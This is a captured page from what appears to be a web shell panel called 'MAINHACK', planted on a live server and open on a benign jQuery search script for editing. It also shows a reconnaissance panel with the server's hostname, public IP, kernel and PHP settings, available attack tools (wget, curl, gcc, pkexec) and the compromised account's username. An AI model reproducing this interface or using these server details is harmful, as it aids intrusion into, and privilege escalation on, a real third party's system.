[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: search.js
"use strict"; $(document).ready(function () { /** -------------------------------------------------------------------------------------------------- * topnav search clicked * -------------------------------------------------------------------------------------------------*/ $(document).on('click', '#top-search-form', function (event) { var start_content = $("#search-start-content").html(); //clear search form and add start screen $("#searchModalBody").html(start_content); //reset search form $("#global-search-field").val(''); //focus the mouse $('#searchModal').on('shown.bs.modal', function () { $('#global-search-field').focus(); //any text already typed $('#top-search-form').val('') }); }); /** -------------------------------------------------------------------------------------------------- * search form filled * -------------------------------------------------------------------------------------------------*/ let search_timeout; $(document).on('keyup', '#global-search-field', function (e) { //default start content var start_content = $("#search-start-content").html(); //current value of search form var value = $(this).val(); //no value, show start screen and return if (value == '') { $("#searchModalBody").html(start_content); return; } // check if the input field is focused and the Enter key is pressed - execute search now if ($(this).is(':focus') && e.keyCode === 13) { clearTimeout(search_timeout); if (value != '') { nxAjaxUxRequest($(this)); } } else { // if other keys are pressed execute dynamic search after a delay clearTimeout(search_timeout); search_timeout = setTimeout(() => { if ($('#global-search-field').is(':focus')) { if ($(this).val() != '') { NX.dynamicSearch($(this), e); } } }, 1500); } }); /** -------------------------------------------------------------------------------------------------- * search category button clicked * -------------------------------------------------------------------------------------------------*/ $(document).on('click', '.search-category-button', function () { $(".search-category-button").removeClass('active'); $(this).addClass('active'); }); }); /**-------------------------------------------------------------------------------------- * [SEARCH] * @description: show start window * -------------------------------------------------------------------------------------*/ function nxSearchStart() { //default start content var start_content = $("#search-start-content").html(); //show start content if ($('#searchModalBody').find('#search-modal-message-start').length == 0) { $("#searchModalBody").html(start_content); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002